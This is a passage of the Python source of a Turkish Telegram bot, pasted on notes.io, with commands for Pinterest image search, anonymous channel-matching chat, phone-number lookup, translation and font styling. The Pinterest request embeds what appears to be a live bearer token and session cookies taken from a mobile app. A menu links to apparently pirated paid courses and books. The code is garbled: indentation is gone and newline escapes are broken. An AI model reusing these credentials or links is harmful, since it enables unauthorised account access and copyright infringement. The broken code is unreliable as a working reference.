29%2Cis_virtual_try_on%7D%2Cuser.%7Bcountry%2Cgender%2Ctype%2Cage_in_years%2Cfollower_count%2Cimage_xlarge_url%2Cexplicitly_followed_by_me%2Cis_default_image%2Cis_under_16%2Cis_under_18%2Csave_behavior%2Cis_partner%2Cverified_identity%2Cid%2Cis_verified_merchant%2Cfirst_name%2Cshould_default_comments_off%2Cshow_creator_profile%2Clast_name%2Cis_private_profile%2Ccustom_gender%2Cpartner%28%29%2Cfull_name%2Callow_idea_pin_downloads%2Cimage_large_url%2Cimage_medium_url%2Cusername%2Cshould_show_messaging%2Cvto_beauty_access_status%7D%2Cboard.%7Bis_collaborative%2Ccollaborating_users%28%29%2Ccreated_at%2Cprivacy%2Cshould_show_shop_feed%2Ctype%2Cis_ads_only%2Curl%2Clayout%2Ccollaborated_by_me%2Cfollowed_by_me%2Cowner%28%29%2Cname%2Ccollaborator_invites_enabled%2Cis_temporarily_disabled%2Caction%2Csection_count%2Cid%2Ccategory%7D%2Cvideo.%7Bduration%2Cid%2Cvideo_list%5BV_HLSV3_MOBILE%2C%20V_DASH_HEVC%5D%7D%2Crichpinproductmetadata.%7Blabel_info%2Coffers%2Cadditional_images%2Chas_multi_images%2Cshipping_info%2Coffer_summary%2Citem_set_id%2Citem_id%2Cname%2Cid%2Ctype%2Cbrand%7D%2Caggregatedpindata.%7Bis_shop_the_look%2Ccomment_count%2Ccollections_header_text%2Cis_stela%2Chas_xy_tags%2Cpin_tags%2Cdid_it_data%2Ccatalog_collection_type%2Cslideshow_collections_aspect_ratio%2Caggregated_stats%2Cid%2Cis_dynamic_collections%2Cpin_tags_chips%7D%2Ccreatorclassinstance.%7Bstarts_at%2Ccreator_class%28%29%2Creplay_video%28%29%2Chero_images%5B345x%2C750x%2C1125x%5D%2Cid%2Cpreview_video%28%29%2Ctitle%2Cpinsub_topic%28%29%2Clive_status%7D%2Cexplorearticle.cover_images%5B236x%2C280x280%2C474x%5D%2Cpin.images%5B200x%2C236x%2C736x%2C564x%5D%2Cstorypinimageblock.image%5B200x%2C236x%2C736x%2C564x%5D%2Cstorypinpage.image%5B200x%2C236x%2C736x%2C564x%2C1200x%5D%2Cstorypinpage.image_adjusted%5B200x%2C236x%2C736x%2C564x%2C1200x%5D%2Cuser.recent_pin_images%5B345x%5D%2Cuser.contextual_pin_image_urls%5B345x%5D&commerce_only=false&page_size=7&view_type=2&view_parameter=43'
headers= {

'Host': 'api.pinterest.com',

'x-b3-traceid': '54ab5928182fbe27',

'x-b3-spanid': '571e9da9dbafd2ef',

'x-b3-parentspanid': 'a7ba684ae64d5adb',

'accept-language': 'ar-IQ-u-nu-latn',

'user-agent': 'Pinterest for Android/12.1.1 (ANY-LX2; 13)',

'x-pinterest-app-type-detailed': '3',

'x-pinterest-device': 'ANY-LX2',

'x-pinterest-device-hardwareid': 'f13c94806c6f87d8',

'x-pinterest-device-manufacturer': 'HONOR',

'x-pinterest-installid': '358e34e753134017be281d2c4cab571',

'x-pinterest-appstate': 'active',

'x-node-id': 'true',

'authorization': 'Bearer pina_AEATFWAVABG34AIAGDALEDXETPAT7DIBABHO3TT43THXIZRCWPIKYOXOP37PYD7GZXQRJF3AMIZ3MUYP45LTY6YGDCHEXVQA',

'accept-encoding': 'gzip',

'cookie': '_b=AXg2QjzluvxA4pI9hMtj97MVCfHEz4IP5QgTtNhOE5o02zks5Yb9+9QJdeIOOIpoBnE=; _pinterest_ct=TWc9PSY5WVVvTWQ3UlBtODFyN0liOXV0QVE2M3pOTUpBZmRuelAwZDYxNFQ2Vk4yalpLWUM1NkltVUNSblhsd003TEJJTjVTd0xLSW1vT0hJSGpxc3BhV2p6a3lid0Z0RHp2bzNHTURsZ3d0WUdFbz0mdzcyc1dvNXI2YlA0ejN3NThKR2hKYTVDRTRNPQ==; _ir=0',
# API isteği için gerekli header'ları ekleyin
}
try:
response = requests.get(url, headers=headers)
pinterest = response.json()
all_foto_urls = [pinterest['data'][i]['images']['200x']['url'] for i in range(len(pinterest['data']))]

# İstenen sayıda rastgele fotoğraf URL'si seç
if len(all_foto_urls) < num_images:
return all_foto_urls # Eğer yeterli fotoğraf yoksa, mevcut olan tümünü döndür
else:
selected_foto_urls = random.sample(all_foto_urls, num_images)
return selected_foto_urls
except Exception as e:
print(f'Bir hata oluştu: {e}')
return None

@bot.message_handler(commands=['resim_arat'])
@safe_execute
@check_membership
@ban_at
def picsart_command_message(message):
user_chat_id = message.chat.id
msg = message.text.split()
if len(msg) < 3:
bot.reply_to(message, "Bu Komutla Pinterest'ten Resim Aratabilirsin, Bende Girdiğin Sayı Kadar Sana Resim Atarım.nKullanım: /resim_uret [anahtar kelime] [resim sayısı]nnÖrnek: /resim_uret kırmızı çiçek 3nYukardaki Komut 3 Kırmızı Çiçek Resmi Atar.")
return

keyword = ' '.join(msg[1:-1])
try:
num_images = int(msg[-1])
except ValueError:
bot.reply_to(message, "Lütfen geçerli bir sayı giriniz.")
return

if num_images > 10:
with open('kullanicilar.txt', 'r+') as f:
lines = f.readlines()
user_line_prefix = f"x) {user_chat_id};"
user_lines = [line for line in lines if user_line_prefix in line]
if user_lines:
# Kullanıcı daha önce uyarılmış ve tekrar limiti aşmış
ban_date = datetime.datetime.now() + datetime.timedelta(days=60)
ban_date_str = ban_date.strftime('%Y-%m-%d')
new_lines = [line if user_line_prefix not in line else f"x) {user_chat_id};{ban_date_str}n" for line in lines]
f.seek(0)
f.truncate()
f.writelines(new_lines)
bot.send_message(user_chat_id, "Daha önce uyarıldınız ve yine limiti aştınız. 2 ay boyunca botu kullanamazsınız.")
return
else:
# Kullanıcı ilk kez uyarılıyor
f.write(f"x) {user_chat_id};n")
bot.send_message(user_chat_id, "Tek komutta en fazla 10 resim isteyebilirsin, eğer yine aynı hatayı yaparsan bu sefer 2 ay engel yersin.")
return

# Normal işlem devam eder
foto_urls = pinterest_resim_ara(keyword, num_images)
if foto_urls:
for foto_url in foto_urls:
bot.send_photo(message.chat.id, foto_url)
else:
bot.reply_to(message, "Resim Oluşturamadım :(")

#SFS KOMUT

user_info_sfs = {}
user_states_sfs = {}
command_usage = defaultdict(int)
waiting_users = deque()
pending_acceptance = {}
rejected_users = defaultdict(set)

MAX_FREE_USAGE_SFS = 10 # Haftalık ücretsiz kullanım sınırı


@bot.message_handler(commands=['sfs'])
@safe_execute
@check_membership
@ban_at
def secret_friend_search(message):
chat_id = message.chat.id
user_id = message.from_user.id

if is_trial_taken(user_id):
# Premium kullanıcı
user_info_sfs[user_id] = {}
user_states_sfs[user_id] = 'ask_channel_name'
bot.send_message(chat_id, "Kanalınızın kullanıcı adını girin:")
else:
# Free kullanıcı
if command_usage[user_id] < MAX_FREE_USAGE_SFS:
command_usage[user_id] += 1
user_info_sfs[user_id] = {}
user_states_sfs[user_id] = 'ask_channel_name'
bot.send_message(chat_id, "Kanalınızın kullanıcı adını girin:")
else:
bot.send_message(chat_id, "Haftalık kullanım sınırınıza ulaştınız. Daha fazla kullanmak için premium üye olun.")


@bot.message_handler(func=lambda message: user_states_sfs.get(message.from_user.id) == 'ask_channel_name')
def ask_channel_name(message):
user_id = message.from_user.id
user_info_sfs[user_id]['channel_name'] = message.text
user_states_sfs[user_id] = 'ask_channel_size'

markup = types.InlineKeyboardMarkup()
btn1 = types.InlineKeyboardButton('0-500', callback_data='size_0-500')
btn2 = types.InlineKeyboardButton('500-2000', callback_data='size_500-2000')
btn3 = types.InlineKeyboardButton('2000-∞', callback_data='size_2000-∞')
markup.add(btn1, btn2, btn3)

bot.send_message(user_id, "Kanalınızın sayısını seçin:", reply_markup=markup)

@bot.callback_query_handler(func=lambda call: user_states_sfs.get(call.from_user.id) == 'ask_channel_size')
def channel_size_handler(call):
user_id = call.from_user.id
user_info_sfs[user_id]['channel_size'] = call.data.split('_')[1]
user_states_sfs[user_id] = 'ask_channel_activity'

markup = types.InlineKeyboardMarkup()
btn1 = types.InlineKeyboardButton('Batık', callback_data='activity_batık')
btn2 = types.InlineKeyboardButton('Ortalama', callback_data='activity_ortalama')
btn3 = types.InlineKeyboardButton('Muhteşem', callback_data='activity_muhteşem')
markup.add(btn1, btn2, btn3)

bot.edit_message_text("Kanalınızın aktiflik durumunu seçin:", chat_id=user_id, message_id=call.message.message_id, reply_markup=markup)

@bot.callback_query_handler(func=lambda call: call.data.startswith('activity_'))
def channel_activity_handler(call):
user_id = call.from_user.id
user_info_sfs[user_id]['channel_activity'] = call.data.split('_')[1]
user_states_sfs[user_id] = 'matched'

bot.edit_message_text("Bilgileriniz kaydedildi, bir eşleşme aranıyor...", chat_id=user_id, message_id=call.message.message_id)
check_for_match(user_id)

def check_for_match(user_id):
if user_id not in waiting_users:
waiting_users.append(user_id)
bot.send_message(user_id, "Birini arıyorsunuz, lütfen bekleyin...")

while len(waiting_users) > 1:
user1 = waiting_users.popleft()
user2 = waiting_users.popleft()

if user2 in rejected_users[user1] or user1 in rejected_users[user2]:
waiting_users.appendleft(user1)
waiting_users.appendleft(user2)
continue

user1_info = user_info_sfs[user1]
user2_info = user_info_sfs[user2]

markup = types.InlineKeyboardMarkup()
accept_button = types.InlineKeyboardButton('Kabul Et', callback_data=f'accept_{user1}_{user2}')
reject_button = types.InlineKeyboardButton('Reddet', callback_data=f'reject_{user1}_{user2}')
markup.add(accept_button, reject_button)

bot.send_message(user1,
f"Sana Bir SFS'çi Buldum;nKanal Adı: {user2_info['channel_name']}nKanal Sayısı: {user2_info['channel_size']}nKanal Aktiflik Durumu: {user2_info['channel_activity']}",
reply_markup=markup)
bot.send_message(user2,
f"Sana Bir SFS'çi Buldum;nKanal Adı: {user1_info['channel_name']}nKanal Sayısı: {user1_info['channel_size']}nKanal Aktiflik Durumu: {user1_info['channel_activity']}",
reply_markup=markup)

pending_acceptance[(user1, user2)] = {'user1_accepted': False, 'user2_accepted': False, 'chat_active': False}
return

@bot.callback_query_handler(func=lambda call: call.data.split('_')[0] in ['accept', 'reject'])
def query_handler(call):
data = call.data.split('_')
action, user1, user2 = data[0], int(data[1]), int(data[2])

if (user1, user2) not in pending_acceptance:
return

if action == 'accept':
if call.from_user.id == user1:
pending_acceptance[(user1, user2)]['user1_accepted'] = True
if pending_acceptance[(user1, user2)]['user2_accepted']:
bot.send_message(user1, "Güzel, Artık İkiniz Eşleştiniz.nMesajını Yaz Ona İletiyim, Şuan İkiniz Bir Sohbettesiniz;")
bot.send_message(user2, "Güzel, Artık İkiniz Eşleştiniz.nMesajını Yaz Ona İletiyim, Şuan İkiniz Bir Sohbettesiniz;")
pending_acceptance[(user1, user2)]['chat_active'] = True
else:
bot.send_message(user2, "Karşıdaki Bu Eşleşmeyi Kabul Etti, Eşleşmek İstermisin?")
else:
pending_acceptance[(user1, user2)]['user2_accepted'] = True
if pending_acceptance[(user1, user2)]['user1_accepted']:
bot.send_message(user1, "Güzel, Artık İkiniz Eşleştiniz.nMesajını Yaz Ona İletiyim, Şuan İkiniz Bir Sohbettesiniz;")
bot.send_message(user2, "Güzel, Artık İkiniz Eşleştiniz.nMesajını Yaz Ona İletiyim, Şuan İkiniz Bir Sohbettesiniz;")
pending_acceptance[(user1, user2)]['chat_active'] = True
else:
bot.send_message(user1, "Karşıdaki Bu Eşleşmeyi Kabul Etti, Eşleşmek İstermisin?")

elif action == 'reject':
rejected_users[user1].add(user2)
rejected_users[user2].add(user1)

if call.from_user.id == user1:
bot.send_message(user2, "Karşıdaki Bu Eşleşmeyi Reddetti Sana Başka Birini Arıyorum...")
else:
bot.send_message(user1, "Karşıdaki Bu Eşleşmeyi Reddetti Sana Başka Birini Arıyorum...")

del pending_acceptance[(user1, user2)]
check_for_match(user1)
check_for_match(user2)

@bot.message_handler(content_types=['photo'], func=lambda message: any(
(message.from_user.id == pair[0] and pending_acceptance[pair]['chat_active']) or
(message.from_user.id == pair[1] and pending_acceptance[pair]['chat_active'])
for pair in pending_acceptance.keys()
))
def handle_photo(message):
for (user1, user2), status in pending_acceptance.items():
if status['chat_active']:
if message.from_user.id == user1:
save_and_forward_file(message, user1, user2)
elif message.from_user.id == user2:
save_and_forward_file(message, user2, user1)

def save_and_forward_file(message, sender_id, receiver_id):
file_id = message.photo[-1].file_id
file_info = bot.get_file(file_id)
file_extension = os.path.splitext(file_info.file_path)[1]
temp_file_path = os.path.join(temp_dir, f"{file_id}{file_extension}")

downloaded_file = bot.download_file(file_info.file_path)
with open(temp_file_path, 'wb') as temp_file:
temp_file.write(downloaded_file)

markup = types.InlineKeyboardMarkup()
end_chat_button = types.InlineKeyboardButton('Konuşmayı Bitir', callback_data=f'end_{sender_id}_{receiver_id}')
markup.add(end_chat_button)

bot.send_photo(receiver_id, open(temp_file_path, 'rb'), reply_markup=markup)
time.sleep(0.5) # Wait for 0.5 seconds before deleting and forwarding

# Delete temporary file
os.remove(temp_file_path)

@bot.message_handler(func=lambda message: any(
(message.from_user.id == pair[0] and pending_acceptance[pair]['chat_active']) or
(message.from_user.id == pair[1] and pending_acceptance[pair]['chat_active'])
for pair in pending_acceptance.keys()
))
def handle_message(message):
for (user1, user2), status in pending_acceptance.items():
if status['chat_active']:
if message.from_user.id == user1:
forward_message(message, user1, user2)
elif message.from_user.id == user2:
forward_message(message, user2, user1)

def forward_message(message, sender_id, receiver_id):
markup = types.InlineKeyboardMarkup()
end_chat_button = types.InlineKeyboardButton('Konuşmayı Bitir', callback_data=f'end_{sender_id}_{receiver_id}')
markup.add(end_chat_button)

if message.content_type == 'text':
bot.send_message(receiver_id, message.text, reply_markup=markup)
else:
bot.send_message(sender_id, "Sadece metin mesajları gönderebilirsiniz. Lütfen metin kullanın.")

@bot.callback_query_handler(func=lambda call: call.data.startswith('end_'))
def end_chat_handler(call):
data = call.data.split('_')
user1, user2 = int(data[1]), int(data[2])

if (user1, user2) in pending_acceptance:
pending_acceptance.pop((user1, user2), None)
bot.send_message(user1, "Konuşmayı bitirdiniz. Yeni biriyle eşleşmek için tekrar arama yapabilirsiniz.")
bot.send_message(user2, "Konuşmayı bitirdiniz. Yeni biriyle eşleşmek için tekrar arama yapabilirsiniz.")
elif (user2, user1) in pending_acceptance:
pending_acceptance.pop((user2, user1), None)
bot.send_message(user1, "Konuşmayı bitirdiniz. Yeni biriyle eşleşmek için tekrar arama yapabilirsiniz.")
bot.send_message(user2, "Konuşmayı bitirdiniz. Yeni biriyle eşleşmek için tekrar arama yapabilirsiniz.")

#TEL INFO KOMUT
@bot.message_handler(commands=['tel_info'])
@safe_execute
@check_membership
@ban_at
def send_tel_info_welcome(message):
msg_parts = message.text.split()
if len(msg_parts) == 1:
bot.reply_to(message, "Numara bilgisi için lütfen telefon numaranızı /tel_info komutu ile birlikte gönderin. Örneğin:n/tel_info +905555555555")
else:
get_phone_infoo(message)

def get_phone_infoo(message):
try:
phone_number = message.text.split(' ', 1)[1].strip()

if not phone_number.startswith('+'):
if phone_number.startswith('0'):
phone_number = '+90' + phone_number[1:]
elif len(phone_number) == 10:
phone_number = '+90' + phone_number

parsed_number = pnumb.parse(phone_number)
if not pnumb.is_valid_number(parsed_number):
raise ValueError("Geçersiz numara")

time_zone = timezone.time_zones_for_number(parsed_number)
operator = carrier.name_for_number(parsed_number, 'en')
region = geocoder.description_for_number(parsed_number, 'en')
number_type = pnumb.number_type(parsed_number)

def number_type_to_string(n_type):
if n_type == PhoneNumberType.FIXED_LINE:
return 'Sabit Hat'
elif n_type == PhoneNumberType.MOBILE:
return 'Mobil'
else:
return 'Diğer'

response = f"Numara: {phone_number}nn"
f"Ülke Kodu: {parsed_number.country_code}n"
f"Ulusal Numara: {parsed_number.national_number}n"
f"Uluslararası Format: {pnumb.format_number(parsed_number, pnumb.PhoneNumberFormat.INTERNATIONAL)}n"
f"Ulusal Format: {pnumb.format_number(parsed_number, pnumb.PhoneNumberFormat.NATIONAL)}n"
f"Geçerli mi: {'Evet' if pnumb.is_valid_number(parsed_number) else 'Hayır'}n"
f"Uluslararası Aranabilir: {'Evet' if pnumb.can_be_internationally_dialled(parsed_number) else 'Hayır'}n"
f"Zaman Dilimi: {time_zone}n"
f"Operatör: {operator}n"
f"Bölge: {region}n"
f"Bölge Kodu: {pnumb.region_code_for_number(parsed_number)}n"
f"Numara Tipi: {number_type_to_string(number_type)}n"
f"Coğrafi mi: {'Evet' if pnumb.is_number_geographical(parsed_number) else 'Hayır'}"
except Exception as e:
response = f"Bir hata oluştu: {str(e)}"

bot.reply_to(message, response)

#Ticaret Eğitimi Komut
@bot.message_handler(commands=['ticaret_egitimi'])
@safe_execute
@check_membership
@ban_at
def gelir_kaynaklari_mesaj(message):
klavye = [
[types.InlineKeyboardButton("Andrew Tate Türkçe Eğitim Seti", url="https://drive.google.com/drive/folders/1Vu9PrsXw8-GmtFcNhZ-JMWicm2KotvIr")],
[types.InlineKeyboardButton("2000 Video Arka Plan", url="https://drive.google.com/drive/mobile/folders/1X_evEg_ww2hbGgmudaUg8nIdaRXLzuU0")],
[types.InlineKeyboardButton("Instagram Büyütme Teknikleri", url="https://sg.docworkspace.com/d/sIOLsnszwAYifm60G")],
[types.InlineKeyboardButton("Zengin Baba Yoksul Baba Kitabı", url="https://drive.google.com/file/d/1eAVYXoTuFakh6w8yDWs6gnE9RHr4HSMn/view?usp=drivesdk")],
[types.InlineKeyboardButton("Iman Gadhzi Kursu", url="https://drive.google.com/drive/folders/1-VPclkvdaSU_mVdt1WIsIJAEVwXdBaSa")],
[types.InlineKeyboardButton("The Real World İngilizce", url="https://drive.google.com/drive/folders/1qA6pjwthS8x71pVce94JLUG7Cwt0JGfh")],
[types.InlineKeyboardButton("İkonik Görseller", url="https://drive.google.com/drive/folders/14iEgMBpZmHKijXJC-vhGH_lUYhANT4tm")],
[types.InlineKeyboardButton("Can't Hurt Me Kitabı", url="https://drive.google.com/file/d/1UHRZNU-aljUjZ9W-i08GCHy1WXZQJTJY/view?usp=drivesdk")],
[types.InlineKeyboardButton("Türkçe The Real World Eğitim Seti", url="https://drive.google.com/drive/folders/1-WW1S1eiLvTug4mzgzf1zhLD1tTOmfdH")],
[types.InlineKeyboardButton("Yaratıcı Arka Planlar", url="https://drive.google.com/drive/folders/1uOw4Uc7qmxbS-byHbPHp06Lag5U28K9C")],
[types.InlineKeyboardButton("Başarıya Giden Yol", url="https://drive.google.com/file/d/1nrRYormy0j-8TfjBYcsH2ayBB1p4QUKJ/view?usp=drivesdk")],
[types.InlineKeyboardButton("Tate Temalı Arka Planlar", url="https://drive.google.com/drive/folders/10YovPTD_HYCWOpv8hLlek4nno1qK7cTP")],
[types.InlineKeyboardButton("Iman Gadzhi SMMA Kursu", url="https://drive.google.com/drive/folders/1aGFHTOesrkoZg1FjY2LSysazdU8c5yVi?usp=sharing")],
[types.InlineKeyboardButton("Metin-Ses Dönüştürücü", url="https://elevenlabs.io/text-to-speech")],
[types.InlineKeyboardButton("Oyun Videoları", url="https://drive.google.com/drive/mobile/folders/1zwhmbfgPIR6IlvGcqHKvZTmL5MQOQcBN?fbclid=IwAR1nyAhTSvf6BwH_GM8iQgZQ-whBUgENUUSy5IQwLcuyi-FPkLStk4hVi0U")],
[types.InlineKeyboardButton("Dikkat Dağıtıcı Videolar", url="https://drive.google.com/drive/folders/1bD6YPK_8VdAb8r2-74hWGutTUjdO0_Xm")],
[types.InlineKeyboardButton("Genel Arka Plan Videoları", url="https://drive.google.com/drive/folders/1-0dBza8VpK8mpBcc-YEWe-J0e9gV96tc")]
]

reply_markup = types.InlineKeyboardMarkup(klavye)
bot.send_message(message.chat.id, 'İşte Senin İçin Birkaç Gelir Kaynağı:', reply_markup=reply_markup)

#Daha Fazla Tool Komut
@bot.message_handler(commands=['tool'])

@safe_execute
@check_membership
@ban_at
def daha_fazla_tool(message):
response = ('Dahamı Fazla Tool İstiyorsun?nBotumuza Bakabilirsin;nn@TeknoDroidEvreni_botnnAynı Zamanda Kanalımızada Bakabilirsin; @QNBFinansBankYazilim')
bot.reply_to(message, response)

#Çeviri Komutu
def translate_specified_textt(input_text, target_language):
try:
# Google Translate API'sini kullanarak çeviri yap
api_response = requests.get(f'https://translate.googleapis.com/translate_a/single?client=gtx&sl=auto&tl={target_language}&dt=t&ie=UTF-8&oe=UTF-8&q={input_text}')
translation_result = api_response.json()[0][0][0] # Çeviri sonucunu al
return translation_result
except Exception as translation_error:
# Bir hata oluşursa, hata mesajını döndür
return "Çeviri sırasında bir hata oluştu: " + str(translation_error)

@bot.message_handler(commands=['ceviri'])
@safe_execute
@check_membership
@ban_at
def display_translation_commands(message):
bot.reply_to(message,
'Çeviri Komutları;n'
'/cevirin - İngilizcen'
'/cevires - İspanyolcan'
'/cevirfr - Fransızcan'
'/cevirde - Almancan'
'/cevirzh - Çincen'
'/cevirja - Japoncan'
'/cevirru - Rusçan'
'/cevirpt - Portekizcen'
'/cevirit - İtalyancan'
'/cevirar - Arapçan'
'/cevirko - Korecen'
'/cevirhi - Hintçen'
'/cevirtr - Türkçen'
'/cevirfa - Farsçan'
'/cevirpl - Lehçenn'
'Mesela Türkçe Bir Cümlenizi İngilizceye Çevirmek İstiyorsanız;n /cevirin Selam nyazın /cevirin Komutunu Verme Sebebimiz Çevir Kelimesinin Sonuna in Yani İngilizce Kısaltılışını Ekleyerek Cümleyi İngilizce Diline Çevirmek')

# Çeviri yapmak için kullanılan handler
@bot.message_handler(commands=['cevirin', 'cevires', 'cevirfr', 'cevirde', 'cevirzh', 'cevirja', 'cevirru', 'cevirpt', 'cevirit', 'cevirar', 'cevirko', 'cevirhi', 'cevirtr', 'cevirfa', 'cevirpl'])
@safe_execute
@check_membership
@ban_at
def handle_translation_requestt(message):
message_content = message.text.split(maxsplit=1)
if len(message_content) < 2:
bot.reply_to(message, "Lütfen çevrilecek metni giriniz.")
return
translation_command = message_content[0][1:].lower() # Komut ismini al (baştaki '/' karakterini kaldır)
language_code = translation_command[6:] # Komut isminin 'cevir' kısmını kaldırarak dil kodunu al
text_for_translation = message_content[1]
translated_message = translate_specified_textt(text_for_translation, language_code)
bot.reply_to(message, translated_message)



#Yazı Tipi Komut
FONT_STYLES = {
"kalin": lambda s: f"<b>{s}</b>", # Bold
"italik": lambda s: f"<i>{s}</i>", # Italic
"alti_cizili": lambda s: f"<u>{s}</u>", # Underline
"ustu_cizili": lambda s: f"<s>{s}</s>", # Strikethrough
"kod": lambda s: f"<code>{s}</code>", # Code
"oncesiz": lambda s: f"<pre>{s}</pre>", # Preformatted
"spoiler": lambda s: f"<tg-spoiler>{s}</tg-spoiler>", # Spoiler
"daktilo": lambda s: ''.join(chr(0x1D670 + ord(c) - ord('a')) if 'a' <= c <= 'z' else c for c in s.lower()), # Typewriter
"taslak": lambda s: ''.join(chr(0x1D608 + ord(c) - ord('a')) if 'a' <= c <= 'z' else c for c in s.lower()), # Outline
"italik_serif": lambda s: ''.join(chr(0x1D44E + ord(c) - ord('a')) if 'a' <= c <= 'z' else c for c in s.lower()), # Serif Italic
"kalin_serif": lambda s: ''.join(chr(0x1D400 + ord(c) - ord('a')) if 'a' <= c <= 'z' else c for c in s.lower()), # Serif Bold
"kalin_italik_serif": lambda s: ''.join(chr(0x1D468 + ord(c) - ord('a')) if 'a' <= c <= 'z' else c for c in s.lower()), # Serif Bold Italic
"kucuk_harfler": lambda s: ''.join(chr(0x1D41A + ord(c) - ord('a')) if 'a' <= c <= 'z' else c for c in s.lower()), # Small Caps
"hafif_el_yazisi": lambda s: ''.join(chr(0x1D4EA + ord(c) - ord('a')) if 'a' <= c <= 'z' else c for c in s.lower()), # Script Light
"kalin_el_yazisi": lambda s: ''.join(chr(0x1D4D4 + ord(c) - ord('a')) if 'a' <= c <= 'z' else c for c in s.lower()), # Script Bold
"cizgi_roman": lambda s: ''.join(chr(0x1D4A6 + ord(c) - ord('a')) if 'a' <= c <= 'z' else c for c in s.lower()), # Comic
"minik": lambda s: ''.join(chr(0x1D422 + ord(c) - ord('a')) if 'a' <= c <= 'z' else c for c in s.lower()), # Tiny
"daireler": lambda s: ''.join(chr(0x24D0 + ord(c) - ord('a')) if 'a' <= c <= 'z' else c for c in s.lower()), # Circles
"kalin_sans_serif": lambda s: ''.join(chr(0x1D5D4 + ord(c) - ord('a')) if 'a' <= c <= 'z' else c for c in s.lower()), # Sans Serif Bold
"italik_sans_serif": lambda s: ''.join(chr(0x1D608 + ord(c) - ord('a')) if 'a' <= c <= 'z' else c for c in s.lower()), # Sans Serif Italic
"kalin_italik_sans_serif": lambda s: ''.join(chr(0x1D63C + ord(c) - ord('a')) if 'a' <= c <= 'z' else c for c in s.lower()), # Sans Serif Bold Italic
"sans_serif": lambda s: ''.join(chr(0x1D5A0 + ord(c) - ord('a')) if 'a' <= c <= 'z' else c for c in s.lower()), # Sans Serif
"mutlu": lambda s: ''.join(c + 'u0306' + 'u0308' for c in s), # Happy
"bulutlar": lambda s: ''.join(c + 'u035C' + 'u035C' for c in s), # Clouds
"gotik": lambda s: ''.join(chr(0x1D56C + ord(c) - ord('a')) if 'a' <= c <= 'z' else c for c in s.lower()), # Gothic
"kalin_gotik": lambda s: ''.join(chr(0x1D504 + ord(c) - ord('a')) if 'a' <= c <= 'z' else c for c in s.lower()), # Gothic Bold
"dolu_daireler": lambda s: ''.join(chr(0x1F150 + ord(c) - ord('a')) if 'a' <= c <= 'z' else c for c in s.lower()), # Circles Filled
"andalus": lambda s: ''.join(chr(0xABD0 + ord(c) - ord('a')) if 'a' <= c <= 'z' else c for c in s.lower()), # Andalucia
"dolu_kareler": lambda s: ''.join(chr(0x1F170 + ord(c) - ord('a')) if 'a' <= c <= 'z' else c for c in s.lower()), # Squares Filled
"kareler": lambda s: ''.join(chr(0x1F130 + ord(c) - ord('a')) if 'a' <= c <= 'z' else c for c in s.lower()), # Squares
"ozel": lambda s: ''.join(chr(0x1F1E6 + ord(c) - ord('a')) if 'a' <= c <= 'z' else c for c in s.lower()), # Special
"uzgun": lambda s: ''.join(c + 'u0311' + 'u0308' for c in s), # Sad
"karisik": lambda s: ''.join(chr(0xA730 + ord(c) - ord('a')) if 'a' <= c <= 'z' else c for c in s.lower()), # Fancy
"alti_cizgili": lambda s: ''.join(c + 'u0332' for c in s), # Underline Again
"kabarciklar": lambda s: ''.join(c + 'u20DF' for c in s), # Bubbles
"yildiz": lambda s: ''.join(c + 'u2736' for c in s) # Star
}


# Kullanıcı verilerini saklamak için bir sözlük
user_data_yazi = {}

@bot.message_handler(commands=['yazitipi'])
@safe_execute
@check_membership
@ban_at
def yazitipi_start(message):
args = message.text.split()[1:] # Komut dışındaki argümanları al
if not args:
bot.reply_to(message, "Önce /yazitipi Yaz Ve Yanına Neyin Şeklini Değiştiriceksen Onu GirnÖrnek Kullanım;n/yazitipi TeknoDroidnBu Komut TeknoDroid Yazısının Şeklini İstediğin Şekilde Değiştirir.")
return

text = ' '.join(args)
user_data_yazi[message.chat.id] = text # Kullanıcının metnini sakla

# Her bir yazı tipi için kullanıcının metnini dönüştür ve HTML formatında göster
style_options = "n".join([f"{i+1}. {FONT_STYLES[style](text)}" for i, style in enumerate(FONT_STYLES.keys())])
bot.send_message(message.chat.id, f'Yazı Tipleri:n{style_options}nnBir Sayı Seç Ve Enterle.', parse_mode='HTML')

@bot.message_handler(func=lambda message: True)
def yazitipi_choose(message):
if message.chat.id in user_data_yazi:
try:
choice_num = int(message.text) - 1
if choice_num not in range(len(FONT_STYLES)):
bot.reply_to(message, "Geçersiz numara. Lütfen listeden bir numara seçin.")
return

style = list(FONT_STYLES.keys())[choice_num]
text = user_data_yazi.pop(message.chat.id, '') # Kullanıcının metnini al ve user_data_yazi'dan sil
styled_text = FONT_STYLES[style](text)
# Botun mesajı HTML olarak göndermesini sağla
bot.send_message(message.chat.id, styled_text, parse_mode='HTML')
except ValueError:
bot.reply_to(message, "Lütfen geçerli bir sayı girin.")
else:
return


print(*"CVARB V2 AI BOT AKTİF")
if __name__ == '__main__':
bot.infinity_polling()
     
 
what is notes.io
 

Notes.io is a web-based application for taking notes. You can take your notes and share with others people. If you like taking long notes, notes.io is designed for you. To date, over 8,000,000,000 notes created and continuing...

With notes.io;

  • * You can take a note from anywhere and any device with internet connection.
  • * You can share the notes in social platforms (YouTube, Facebook, Twitter, instagram etc.).
  • * You can quickly share your contents without website, blog and e-mail.
  • * You don't need to create any Account to share a note. As you wish you can use quick, easy and best shortened notes with sms, websites, e-mail, or messaging services (WhatsApp, iMessage, Telegram, Signal).
  • * Notes.io has fabulous infrastructure design for a short link and allows you to share the note as an easy and understandable link.

Fast: Notes.io is built for speed and performance. You can take a notes quickly and browse your archive.

Easy: Notes.io doesn’t require installation. Just write and share note!

Short: Notes.io’s url just 8 character. You’ll get shorten link of your note when you want to share. (Ex: notes.io/q )

Free: Notes.io works for 12 years and has been free since the day it was started.


You immediately create your first note and start sharing with the ones you wish. If you want to contact us, you can use the following communication channels;


Email: [email protected]

Twitter: http://twitter.com/notesio

Instagram: http://instagram.com/notes.io

Facebook: http://facebook.com/notesio



Regards;
Notes.io Team

     
 
Shortened Note Link
 
 
Looding Image
 
     
 
Long File
 
 

For written notes was greater than 18KB Unable to shorten.

To be smaller than 18KB, please organize your notes, or sign in.